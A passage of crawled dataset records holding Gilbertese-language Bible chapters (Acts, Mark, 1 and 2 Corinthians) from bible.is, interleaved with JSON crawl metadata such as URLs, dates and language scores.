tuangiira ke n taekina arom ae buakaka. 22Ma ti kan ongo mai roum am iango, b'a n aron ae ataaki iroura ao e taekinaki ni kabuakakaki te Aro aei n taabo nako.\" 23A kotea aia bong ma B'auro, ao a kawaria aomata aika bati riki ni nena ni maeka n te bong anne. E waaki ma ngaiia man te ingabong ni karokoa ae e bong, ni kab'arab'araa nakoia taekan uean te Atua; ao e kataia n anai nanoia ni m'akoron taeka ake e anai man ana tua Mote ao man aia boki burabeti, b'a a na kakoaua are e taekinna i bukin Iesu. 24Iai tem'angina ake a kakoauai baike a atongaki, ma tem'angina a aki. 25E aki reke i rouia te boraoi n nano, ma ngaia are a nako i mwin ana taeka teuana B'auro are atongnga, ae kaangai, \"E eti ana taeka te Tamnei are Raoiroi iroun Itaia are te burabeti nakoia ami bakatibu, 26ngke E kaangai, 'Ko na nako n te botannaomata aei, ao ko na kaangai nakoina, Kam na ongo ma n ongo, ma kam na aki atatai; ao kam na taratara ma n taratara, ma kam na aki noraba: 27b'a a matoatoa nanoia te botannaomata aei, ao a bonoti taningaia, ao a kamaki mataia; b'a a kaawa n te tai teuana n noraba ni mataia, ma n ongo n taningaia, ma n atatai n nanoia, ma n rairaki, ao N na kamaiuia.' \" 28\"Ma ngaia ae kam na ataia, b'a e a tia n nako taekan ana kamaiu te Atua aei nakoia aomata aika tiaki I-Iutaia, ao boni ngaiia akana na ongo.\" 29Ngke e a tia B'auro n atongi taeka aikai, ao a nako I-Iutaia ma te kauntaeka ae bati i rouia. 30E maeka B'auro ua ririki n te auti ae e kaboa tikuna iai, ao e m'aneia n akoia aomata ni kabaneia ake a roko i rouna. 31E tataekina uean te Atua, ao e reirei taekan te UEA are Iesu Kristo n aki mamaku, ma n aki tutukaki.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/28","date":"2016-07-02T05:49:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783408828.55\/warc\/CC-MAIN-20160624155008-00059-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1009,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I bukini ngkanne te angab'ai i bukiia ake a itiaki: kam na karaoa te baere I a tia n tuangiia taian ekaretia i Karatia b'a a na karaoia. 2Ni moani bongin te wiiki ae koraki, ao e riai te aomata i bon i rouna ni katutuka teutana man are e a tia ni karekea, ao e na kaikoa, b'a e aonga n aki kainanoaki te manga riko angab'ai ngkana I roko. 3Ao ngkana I roko, ao N na kanakoia akana kam kariaia n reeta, b'a a na nikira ami b'ai n tituaraoi i Ierutarem. 4Ao ngkana e riai b'a N na nako naba ngai, ao a na nako ma ngai. 5N na roko i roumi ngkana I tia n ri nuukani M'aketonia; b'a ae N na ri nuukani M'aketonia; 6ao N na tiku i roumi, tao ni kabanea bongin te aumeaang, b'a kam aonga ni bakaborauai nako ike N na nako iai. 7B'a I tangira riki ae N na kawaringkami rimwi ni kamaanai i roumi, ngkana nanon te UEA, nakon ae N na kawaringkami ngkai ao e kimototo au tai i rarikimi. 8Ma N na mena i Ebeto ni karokoa te Bentekota, 9b'a e uki nako iu te mataroa ae warebwe ae kamateraoi i bukin te m'akuri, ao a bati kairiribai. 10Ngkana arona b'a e roko i roumi Timoteo, ao kam na tarataraia b'a a na akea te bae e na makiningkami iai; b'a te tia m'akuri ngaia i bukin te UEA, n ai arou naba. 11Ma ngaia ae e na tai kakeaa bongana temanna i roumi; ma kam na bakaborauia raoi b'a e aonga n roko i rou, b'a ae I taninga rokona ma rokoia taari tem'angina. 12Ao i bukin tarira are Aboro: I kairoroa b'a e na nako imi ma taari aikai, ma akea nanona ni kan nako imi ngkai. E a bon tai nakowati ngkana e reke ana tai. 13Kam na tatauraoi, kam na teimatoa n te onimaki, kam na nano ni mm'aane, ao kam na korakora. 14Kam na karaoi b'aai ni kabane ma te tangira. 15Kam ata Tetebana ma ana utu, b'a ngaiia ake a moa n riki b'a taan onimaki, ao a anga nanoia b'a taani beku i bukiia ake a itiaki: I butingkami, tariu, b'a 16kam na karineia n iri nanoia te koraki akana ai aroia nakanne, ma aomata nako akana buobuoka te m'akuri, ao akana m'am'akuri. 17I kim'areirei ngkai a roko Tetebana ma Boretunato ma Akaiko, b'a ai bon rab'atami naba ngaiia: 18b'a a karekea raun tamneiu ma tamneimi; ma ngaia ae kam na aki m'am'aninga taekaia aeka n aomata akanne. 19A kamauringkami taian ekaretia i Atia. A anga aia kamauri ae bati nako imi i nanon te UEA Akura ma Beritika, ma te ekaretia are a bobotaki kaaina i nanon aia auti Akura ma Beritika. 20A kamauringkami taari ni kabaneia. Kam na i kamauri i bon i roumi n ai aroia n inga taari. 21Ngai ae B'auro, ae I korea au inga nako imi n oini baiu. 22Ngkana arona b'a iai ane aki tangira te UEA, ao ke e reke kaina. M'arana taa! 23E na mena i roumi ana akoi te UEA are Iesu Kristo. 24E na mena i roumi ni kabaneingkami au tangira i nanoni Kristo Iesu.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/16","date":"2016-06-28T12:37:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396875.58\/warc\/CC-MAIN-20160624154956-00016-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.000008463859558}","num_words":537,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E oti nako Iesu man te um'antabu, ao e taku ana reirei temanna nako Ina, \"Te Tia Reirei, tarai atibu nako ma auti aikai, b'a e katika te mata taraaia!\" 2E kaeka Iesu ao E taku, \"Ko nori auti aika ab'ab'aki aikai? Akea te atibu teuana ae na tiku ni nnena, b'a a na bane ni kab'akaki.\" 3E tekateka Iesu i aon te maunga are Oriweta, are tei ni kaitaraa ma te um'antabu, ngke a roko i Rouna Betero, ma Iakobo, ma Ioane, ma Anterea n ti ngaiia. 4A titirakinna ni kangai, \"Tuangiira b'a a na riki baikanne n ningai? Ao tera te b'ai ae ti na ataia iai b'a e a roko te tai are a nang kakoroaki iai bukini baikanne?\" 5E taku Iesu nako ia, \"Kam na tarataraingkami b'a a na akea ae na burebureingkami. 6A m'aiti aomata akana na roko, akana na araniia n arau, ao a na kangai, Boni Ngaia ngai! Ao ane a na kekeweia aomata aika bati. 7Ao ngkana kam ongo rongorongoni bo ni buaka aika kaan ma aika raroa nako, ao kam na aki maaku. Ane a na roko baikanne, ma e tuai n roko te toki. 8Ane e na tei rake te botannaomata teuana ni buakana te botannaomata teuana, ao te uea temanna ni buakana te uea temanna; ane e na roko m'aeiein te aba n taabo nako, ao ane a na roko roongo. Aikai karawawata aika a na roko moa. 9\"Ma kam na tarataraingkami, b'a ane a na kateingkami i matani kabowi, ao ane kam na oreaki i nanoni m'aneabaia I-Iutaia; ao ane kam na tei i mataia taan tautaeka ma uea i buku, b'a kam na taekina te koaua nako ia. 10Ma i m'ain rokon te toki, ao e riai b'a e na tataekinaki te euangkerio nakoia botannaomata ni kabaneia. 11Ngkana kam tauaki ao kam kateaki i matan te kabowi, ao tai katabei moa nanomi n iangoi taeka ake kam na taekin; b'a ngkana e a roko taina, ao kam na atong taeka ake kam na anganaki. B'a taeka ake kam na atong, a aki nako mai roumi; a nako mairoun te Tamnei are Raoiroi. 12Ao mm'ane ane a na anga tariia b'a a na tiringaki, ao a na karaoa naba aron aei taama nakoia natiia. Ane a na ekianako nako aia karo naati, ao a na karaoi m'akuri aika a na kamateaki iai. 13Ane kam na ribaki irouia aomata nako i bukin arau, ma ane nanom'aka ni karokoa matena, ao e na kamaiuaki. 14\"Ngkana kam nora te 'Baere Kakamaaku' b'a e tei n te tabo are e riai n aki mena iai.\" Ke e ataia ane wareware b'a e na ota raoi n nanon aei! \"Ao akana mena i Iutaia n te tai arei, ke a biri nako nakoni maunga. 15Ao ane mena i taubukin te auti, ke e tai ruo ao n rin i nanon ana auti n anaa te b'ai maiai n uotia nako. 16Ao ane m'akuriia abana, ke e tai okira mwengana n anaa ana kabaraki. 17Ao ai kawa ra ake a bikoukou ma aine ake a kamammaia natiia ni boong akanne! 18Kam na tataro b'a a na aki riki baikanne n tain te kam'aitorotoro! 19B'a ni boong akanne ao ane a na karawawataaki aomata n te aekaki ni karawawata ae akea n ai arona mani moani karikan aonnaba iroun te Atua ni karokoa ngkai. Ao e na akea naba aekakina nakon taai aika na roko. 20Ao ngkana E aki kakimototoi boong akanne te Uea, ao bon akea te aomata temanna ae na kamaiuaki; ma E kakimototoi boong akanne i bukiia ake a rineaki, ake E rineia. 21\"Ao ngkana e kangai temanna nako imi, 'Kai aei te Kristo;' ke e kangai, 'Kai arei;' ao tai kakoauaa. 22Ane a na kaoti kristo ni kewe ao burabeti ni kewe, ao a na kaoti kanikina ma b'aai ni kamimii, b'a a na burebureia ake a rineaki, ngkana a kona. 23Ma kam na tarataraingkami; I a tia n tuangngkami b'aai ni kabane i m'ain rikiia. 24\"Ni boong akana i mwin te tai are a karawawataaki iai aomata, ao ane e na karooaki ootan taai, 25ao e na akea ootan nam'akaina, ao ane a na b'aka itoi mai karawa, ao m'aaka ake a mena i karawa a na bitaki man aroaroia. 26E na kaoti ngkanne Natin te Aomata i buakon naang ma te mimitong ao te m'aaka ae korakora. 27Ane E na kanakoia anera nakon iteran aonnaba ake aua, b'a a na botiia ana aomata te Atua mai tabon aonnaba are teuana ao mai tabona are teuana. 28\"Kam na karekea reireiami man te kai ae te biku. N te tai are e ubuubu iai naba m'angana ao a kaoti baana, ao kam a ataia iai b'a e a kaan taini bongin te kabuebue. 29Ao ai arona naba, b'a ngkana kam nori baikanne b'a a riki, ao kam na ataia iai b'a e a rangi ni kaan roaroa. 30E koaua ae I a tuangngkami b'a a na bane n riki baikanne i m'aini mateia aomata nako aika maiu ngkai. 31A na mauna karawa ma aonnaba, ma a na aki kona ni mauna au taeka. 32\"Akea ane ata rokon te bong arei ke te aoa arei; ao a aki ataia naba anera ake i karawa, ao E aki ataia te Nati; ma ti te Tama ae ataia. 33Kam na tarataraingkami, ao kamarurungngkami b'a kam aki ata rokon te tai arei. 34E kabotauaki b'a kaanga ai aron te aomata are kitana mwengana ao e m'ananga nako, ao e anganiia ana toro te mwiokoaki i aoni b'aai nako; 35Ma ngaia ae kam na kamarurungngkami, b'a kam aki ata te tai are e na roko iai mataniwin te auti, b'a tao e na roko n te moa n tairiki, ke n te nukanibong, ke i mwin te nukanibong, ke n te moa n ingabong. 36Ngkana e karina rokona, ao e riai b'a e na aki noringkami b'a kam matu. 37Ae I tuangngkami ao bon au taeka naba nakoia aomata nako: Kam na tantani.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13","date":"2016-06-29T01:13:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397428.37\/warc\/CC-MAIN-20160624154957-00135-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":999,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma e a tia i nanou b'a a na akea riki rokou i roumi ae e na karika te rawawata n nano. 2B'a ngkana I karawawataingkami, ao antai ae na kakukureiai ma ti te aomata are I a tia ni karawawataa? 3Ao I korea au reta aei, b'a e kawa n reke i rou te rawawata mairouia te koraki akana na kakukureiai ngkana I nakowati; ao I aki nanokokoraki i roumi ni kabane b'a kakatongau boni kakatongami ni kabane. 4B'a I koroboki nako imi ma nanou ae e taonaki n te rawawata ma te korakai ae bati, ma rannimatau aika bati; tiaki b'a kam aonga ni karawawataki iai, ma kam aonga n ataia b'a e bati tangirami i rou. 5Ma ngkana iai ane karika te rawawata, ao e aki karaoia nako iu, ma e karaoia nako imi; tao tiaki nako imi ni kabaneingkami, ma nakoia tabem'aang i buakomi, ao I atonga aei b'a I aki kani karawawata au taeka n ekianako. 6E bon tau te rekenikai anne i bukin teuanne mairouia m'aitin ami koraki; 7ma ngaia ae kam bon riai ni kab'ara ana bure ma ni karaua nanona, b'a e kawa teuanne ni b'ara nanona n rawawatana ae bati. 8Ma ngaia ae I butingkami b'a kam na kaotia nako ina b'a bon iai tangirana i roumi. 9B'a bon aei bukin are I koroboki iai ngkoa, b'a I aonga n atai baika kam na kakoauaki iai b'a kam ongeaba ni b'aai ni kabane. 10Ma ane kam kab'ara ana bure, ao Ngai I kab'ara naba; b'a ane I a tia ni kab'ara, ngkana tao iai, ao I boni kab'ara i bukimi i matani Kristo, 11b'a e aonga n aki reke ana tai Tatan ni m'aka i aora; b'a ti atai aron ana iango nako. 12Ma ngke I roko i Teroa i bukin tataekinan euangkerioni Kristo, ao E a tia ni kauka te kawai nako iu te UEA i bukin au m'akuri ikekei; 13ma e aki rau tamneiu ngke e aki reke i rou Tito are tariu. Ma ngaia are I kabo ma ngaiia ao I nako M'aketonia. 14Ma e na katituaraoaki te Atua, are Ngaia ae aki toki ni kairira irouni Kristo n te m'aati n tokanikai; ao E kabonganaira ngaira aika taani kabuta ataakini Kristo nakon taabo nako b'a kanga ai aron te boi ae boiarara. 15I bukini Kristo ao ti a riki nakon te Atua b'a te boi ae boiarara, ae e kiakia nako boina i buakoia aika nang kamaiuaki, ao i buakoia naba aika nangi mate; 16bon te boi ae kamamate ae tiritiri nakoia aika nangi mate, ao te boi ae kamaiu ae uota te maiu nakoia aika nang kamaiuaki. Ao ai antai ae tau i bukini baikai? 17B'a tiaki aroia aomata aika bati ngaira, ake a b'aini bob'aia ana taeka te Atua b'a a aonga ni kaub'ai iai; ma ti kanakoaki iroun te Atua, ao ti taetae i matana ma te nano ae itiaki i bukini Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/2","date":"2016-06-28T12:34:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396875.58\/warc\/CC-MAIN-20160624154956-00032-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":490,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro, ae I weteaki iroun te Atua b'a ana tia tuatua Iesu Kristo, ao mairoun naba Totene ae raora n onimaki. 2Nakon ana ekaretia te Atua are i Korinto, ake aomata ni kabaneia ake a kaitiakaki i nanoni Kristo Iesu, ake a rineaki b'a ana aomata te Atua, ma aomata ni kabaneia n taabo nako ake a taromauria ara UEA are Iesu Kristo, are aia UEA ma ngaira. 3Ami b'ai te akoaki, ma te raoi mairoun te Atua are Tamara, ao mairoun te UEA are Iesu Kristo. 4I aki toki ni kaitaua Atuau i bukimi, i bukin ana akoi are kam a tia n anganaki ni maiumi n reitaki ma Kristo Iesu, 5b'a kam a tia n rangi ni buokaki i Rouna n te aro n taetae ma te ataib'ai ni kabanea. 6N ai aron naba are e a tia n unikaki raoi taekan Iesu i buakomi. 7Ma ngaia are akea te b'ai n tituaraoi teuana ae akea i roumi, ngkai kam tiku ni kaantaninga kaotan ara UEA are Iesu Kristo. 8Boni Ngaia are na kateimatoaingkami naba ni karokoa te toki, b'a kam aonga n aki kabuakakaki n ana bong ara UEA are Iesu Kristo. 9E bon riai n onimakinaki te Atua, are Ngaia ae weteingkami b'a kam na i raorao ma Natina are Iesu Kristo are ara UEA. 10I bubutingkami, taari, n aran ara UEA are Iesu Kristo, b'a kam na kaboraoi nanomi. A na akea te i kakaiwi i marenami, ma kam na reitaki n te nano ae ti te arona, ao n te kaantaninga ae ti te arona. 11B'a I kaongoaki taekami, tariu, irouia ana aomata Koroe, b'a iai taiani kauntaeka i buakomi. 12Ae I nanonna n au taeka aei bon aei: b'a kam kangai n tatabemaningkami nako, \"Raoni B'auro ngai\"; ke, \"Raon \"Aboro ngai\"; ke, \"Raoni Keeb'a ngai\"; ke, \"Raoni Kristo ngai.\" 13E tib'auaaki Kristo? E kamateaki n te kaibangaki B'auro i bukimi? Kam b'abetitoaki nako nanon arani B'auro? 14I kaitaua te Atua ngkai akea ae I b'abetitoia i buakomi b'a ti Kiritebo ma Kaio. 15I karaoa aei b'a e kawa n taku temanna b'a kam b'abetitoaki nako nanon arau. 16I b'abetitoia naba kaain ana auti Tetebano; ao I a aki uringnga b'a iai riki ae I b'abetitoia ke akea. 17B'a e aki kanakoai Kristo b'a N na b'ab'abetito, ma E kanakoai b'a N na tataekina te euangkerio-tiaki n te aro n rabakau n taetaenikawai, b'a e kawa n riki ana kaibangaki Kristo b'a te b'ai ae akea manenana. 18B'a te nanobaba taekan te kaibangaki irouia akana nangi mate, ma boni m'aakan te Atua i roura ngaira aika ti kamaiuaki. 19B'a e koreaki ae kangai: \"N na kamaunaa rabakauia akana rabakau, ao N na kaki wanawanaia akana wanawana.\" 20E nga ane rabakau? E nga te b'akuaku n taekan te Tua? E nga te tia rabakau ni kauntaeka i aon te aonnaba aei? Tiaki E a tia te Atua ni karaoa te nanobaba b'a rabakaun aonnaba? 21B'a te Atua, n rabakauna, ao E a tia ni karaoa ae a na aki kona n ataia aomata n oin rabakauia. Ma e ngae n aei, ao E a bon tia ni baireia b'a E na kamaiuia aika onimaki n te rongorongo n nanobaba ae ti tataekinna. 22B'a a tangiri kanikina aika kamimii I-Iutaia b'a a na nori, ao I-Erene a ukoukora te rabakau. 23Ao ngaira ti tataekina Kristo are kamateaki n te kaibangaki, ae te b'ai ni kab'akab'aka nakoia I-Iutaia, ao te nanobaba nakoia aika tiaki I-Iutaia; 24ma nakoia aika rineaki iroun te Atua, aika I-Iutaia ma I-Erene, boni m'aakan te Atua ao rabakauna naba. 25B'a e rabakau riki nanobaban te Atua nakon rabakauia aomata; ao e korakora riki mamaran te Atua nakoni korakoraia aomata. 26Taari, kam na uringi aromi ngke kam moa ni weteaki iroun te Atua. B'a kam aki iangoaki irouia aomata n te aonnaba aei b'a a bati ami koraki aika rabakau. Ti tem'angina i buakomi aika iai nakoaia aika kakannato, ao tem'angina naba aika nako man utu aika iai karineaia ni katein te aba. 27Ma te Atua E rinei baika atongaki n te aonnaba aei b'a a baba, b'a E na kamamaaia aomata aika rabakau. E rinei b'ain aon te aba aika mamara b'a E na kamamaai baika korakora. 28E rinei b'ain aon te aba te Atua aika atongaki b'a a mangori ma n akea bonganaia, ma baika tiaki oi ni b'ai, b'a E na kamaunai baika atongaki b'a oi ni b'ai. 29Nanona ngkanne b'a akea te aomata ae kona ni kamoamoa i matan te Atua. 30Ma E a tia te Atua n reitingkami ma Kristo Iesu, ao E a tia naba ni karika Iesu b'a rabakaura. A reke reitaki ma te Atua i Rouna; ti a riki b'a ana aomata te Atua ngaira, ao ti a kainaomataki i Rouna; 31n ai aron are koreaki ni kangai: \"Ane kamoamoa, ao ke e kamoamoa iroun te UEA.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/1","date":"2016-06-29T16:46:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397749.89\/warc\/CC-MAIN-20160624154957-00138-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":813,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e roko te bong are Bentekota, ao a bane ni botaki ake a onimakina Iesu n te tabo ae ti teuana. 2Ao e rina n roko te neaa mai karawa, ae kanga ai aroni karongoaan ukin te ang ae baibati, ao e kaona nanon te auti are a tekateka iai. 3Ao a noori baika ai aron te ai aika ura, aika ai aron taraan te newe; a uamaae nako baikai n tatabeua nakoia, ao a tiku i aoia n tatabemaniia nako. 4A bane ni kaonaki n te Tamnei are Raoiroi, ao a taetae n taetaen aaba tabeua, n ai aron are E anganiia te Tamnei b'a a na taetae iai. 5Iai i Ierutarem I-Iutaia aika rangi n taua te Aro n Iutaia; a roko man aaba nako i aonnaba. 6Ngke a ongo b'anaaia taan onimaki, ao a ikotaki aia koraki aika bati ma te mimi, b'a a bane n oota n te baere a taekinna taan onimaki, b'a a taetae n aia taetae nako. 7A bon rangi ni mimi i rouia, ma ngaia are a kaangai, Noria, tiaki I-Kariraia uaakai ni kabaneia aika taetae? 8Ao e aera ngkai ti bane n ongo n taetaen abara nako ake ti bungiaki iai? 9Ngaira aika I-Baretia, ma I-Miria, ma I-Eram, ma aomata aika maeka i Metobotamia, i Iutaia, i Kabatokia ao i Bonto ma Atia, 10ao i Berukia, Bamburia ma Aikubita, ao i aban Ribua ake i rarikini Kurene; ao iai naba i buakora aika roko n iruwa mai Rom, 11aika I-Iutaia ma aomata aika tiaki I-Iutaia aika a tia n riki b'a kaain te Aro n Iutaia, ma I-Kirete, ma I-Arabia; ti bane n ongo i rouia ngkai a taekin ana m'akuri te Atua aika kamimii n ara taetae nako. 12Ao a bane ni mimi ma ni minotaki aia iango, ao a i titiraki i rouia ni kaangai, \"Tera nanon te baei?\" 13Ma a taetae ni kakaniko tem'angina ao a kaangai, \"A koro ni manging n te wain!\" 14Ao e teirake Betero ma uake tengauni ma temanna, ao e kanenea b'anaana n taetae nakoia aomata ni kaangai: Mm'aane aika I-Iutaia, ao ngkami ni kabaneingkami aika kam maeka i Ierutarem, e na ataaki aei iroumi, ao kam na ongora n au taeka! 15B'a a aki manging uaakai n ai aron are kam taku, b'a ai tib'a te aoa ruaiwa n te ingabong aei. 16Ma aio te taeka are atongaki ngkoa iroun te burabeti are Ioera, are kaangai, 17\"E taku te Atua, Ao ni boong aika kabanea ni boong, N na nurakina Tamneiu i aoia aomata ni kabaneia. A na taetae ni burabeti natimi aika mm'aane ma aine; ao a na noori baika ai aroni kanoani mii ami rorobuaka n ataei, ao a na miakini mii ami unimm'aane. 18ao N na nurakina naba Tamneiu i aoia tooro aika mm'aane ma aine, ni boongi naba akekei, ao a na taetae ni burabeti. 19N na kaoti baika kamimii i eta i karawa, ao kanikina i nano i aon te aba, n ai aroni baikai: te raraa ma te ai, ma bubu n ai aika matenten. 20E na riki n roo taai, ao e na turubaka n uraura nam'akaina, i m'ain rokon ana bong te UEA are kakannato are kakamaaku. 21Ao e na kamaiuaki ane m'anewea aran UEA. 22Mm'aane aika Iteraera, kam na ongo taeka aikai: Iesu are te I-Natareta are e kaotaki arona i buakomi b'a iai nakoana mairoun te Atua, are e kateretereaki raoi n taiani m'akuri aika kamimii, ma baika kamimii, ma kanikina, ake E karaoi te Atua i rouna i buakomi, n ai aron are kam bon ataia; 23E a kaman tia ni baireia te Atua, ao E a kaman ataia naba, ae E na tauaki Iesu nakoimi, ao kam kamatea, b'a kam anga nako nanoni baiia aomata aika riri aon te tua, b'a a na tauria n te kaibangaki; 24ma E a manga kamaiua te Atua ao E kainaomata man te mate: b'a E aki konaaki n tauaki Iesu ni m'aakan te mate. 25B'a e a kaman taekina Iesu Tawita ngke e kaangai, 'I tarataraa te UEA i matau n taai nako; B'a E memena i rarikiu, b'a e aonga n aki kakiriweaki au iango; 26Ma ngaia ae e kim'areirei nanou, ao I taetae ma te kakatonga; ao ngai, ae te rab'ata ae mamate, N na tiku ma te kantaninga ae nene: 27B'a ane Ko na aki kitana aomatau ni koaua i Eriti, Ao Ko na aki anga rab'atan am toro ae kakaonimaki b'a e na mka n te ruanimate. 28Ko kaoti kawai ni kamaiu nako iu, Ao memenam irou e a karekea nako iu te kim'areirei ae bati.' 29Mm'aane, taari, e riai b'a N na taekina aron Tawita are ara bakatibu nakoimi n aki wimakiki: b'a e mate ao e taunaki, ao e mena nena n taunaki i rarikira ni karokoa te bong aei. 30Bon te burabeti ngaia, ao e ata ana taeka ni bau te Atua nakoina: E kaotia iai b'a E na karika temanna i buakoia ana kariki Tawita b'a te uea ngaia, n ai aron Tawita. 31Ao Tawita e a kaman nora te baere E na karaoia te Atua, ma ngaia are e taekina manga-utin te Kristo: b'a E aki kaaki taekana i Eriti, ao E aki rotaki rab'atana n te mka. 32E a manga kamaiuaki Iesu aei iroun te Atua, ao bon taani kakoaua manga-utina ngaira ni kabaneira. 33Ngkae E neboaki i angaatain te Atua, ao ngkae E anganaki iroun te Tama te taeka n akoi i bukin te Tamnei are Raoiroi, ao E a tia n nurakina te baei, ae kam noria ma n ongo. 34B'a e aki rierake Tawita nako karawa, ma e kaangai, \"E taku te Uea nakon au Uea, Ko na tekateka i angaataiu, 35ni karokoa karaoaia am kairiribai irou b'a neni katokani waem.\" 36Ma ngaia ae kam na ataia ni koaua ngkami aika Iteraera ni kabaneingkami b'a E a tia te Atua ni karika Iesu b'a te UEA ao te Kristo. 37Ngke a ongo aei aomata ao a teke nanoia; ma ngaia are a taku nakoni Betero ma taan tuatua ake raona, \"Taari, tera ae ti na karaoia?\" 38Ao e taku Betero nakoia, \"Rairi nanomi, ao kam na bane ni b'abetitoaki n aran Iesu Kristo i bukini kab'araan ami bure; ao kam na anganaki te b'ai n tituaraoi are te Tamnei are Raoiroi. 39B'a E a tia te Atua n anga ana taeka n akoi nakoimi, ao nakoia ami kariki, ao nakoia naba ake a mena i kiraroa, ake E weteia te UEA are Atuara nakoina.\" 40A bati riki ana taeka Betero nakoia, ao e butiia ni kaangai, \"Kam na kamaiungkami man te rekenikai ane nang roko nakon te roro ae buakaka aei!\" 41A b'abetitoaki ngkanne aomata ake a butim'aea ana taeka Betero, tao 3,000 m'aitiia, ao a ikotaki ma m'aitiia taan onimaki n te bong arei. 42A botum'aka nakon reireiaia irouia taan tuatua, ao nakon aroia n i buokanib'ai; ao a kakaonimaki nakon iriran aia bobotaki n am'arake ma n tataro. 43E karaoi m'akuri aika kamimii ma kanikina te Atua irouia taan tuatua, ao a taonaki aomata n te maku. 44A kateimatoa aroia n iraorao taan onimaki, ao a i buokanib'ai n aia b'ai nako. 45A kabo nako abaia ma aia b'ai nako, ao a tib'atib'ai booia nakoia ake a onimaki, ni kaeti ma kain nanon temanna ma temanna. 46A bobotaki n te Tembora ma te nano ae ti teuana ni katoa bong, ao a bobotaki n am'am'arake n aia auti nako, ao a kang kanaia ma te kukurei ao te nanoraoi, 47ao a kamoamoa te Atua, ao a tangiraki irouia aomata. N te bong ae koraki ao a kam'aitaki riki aia koraki taan onimaki iroun te UEA irouia ake a tib'a manga kamaiuaki.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/2","date":"2016-06-30T01:37:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397865.91\/warc\/CC-MAIN-20160624154957-00147-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1284,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti a manga moanna naba n tabeki taekani kamoamoara? Ke ti kainanoi, n ai aroia tem'angina, reeta nako imi ke mai roumi, aika a na kaoti arora? 2Bon ara reta ngkami ae koreaki i nanora, ae ataaki ma ni warekaki irouia aomata ni kabaneia; 3ao e teretere b'a bon ana reta Kristo ngkami, ae ti uotia, ae koreaki tiaki n te ingke, ma n Tamnein te Atua ae maiu; ae koreaki tiaki i aoni baaba aika atibu, ma i aoni baaba aika iriko aika nanomi. 4Ti atonga aei i bukina b'a iai i roura te aki nanokokoraki iroun te Atua i nanoni Kristo. 5Akea i roura te bae ti na taku iai b'a ti kona ni karaoa te b'ai teuana i bon i roura; ara kona ni karaoia boni mairoun te Atua, 6are karaoira b'a taani beku aika iai aia kona i bukin te boraraoi ae boou, are kanoana tiaki te b'ai ae koreaki, ma te Tamnei; b'a e tiritiri te b'ai ae koreaki, ma E kakamaiu te Tamnei. 7Ngkae e roko ma arona ni mimitong te Tua are uota te mate, ao a koreaki taekana i aoni baaba aika atibu n te aro are a aki kona iai tibun Iteraera n tara ubuni Moote i bukin raneaneana, e boni ngae ngke e a tabe ni mauna raneaneana, 8ao tiaki e na kabatiaki riki mimitongin ana m'akuri te Tamnei? 9B'a ngkana iai mimitongin te m'akuri ni kabuakaka, ao ai m'aiti ra riki mimitongin te m'akuri i bukini karaoan nanon te Atua. 10B'a te baere e kamimitongaki ngkoa e a tia n aki kamimitongaki i bukin te mimitong ae e raka 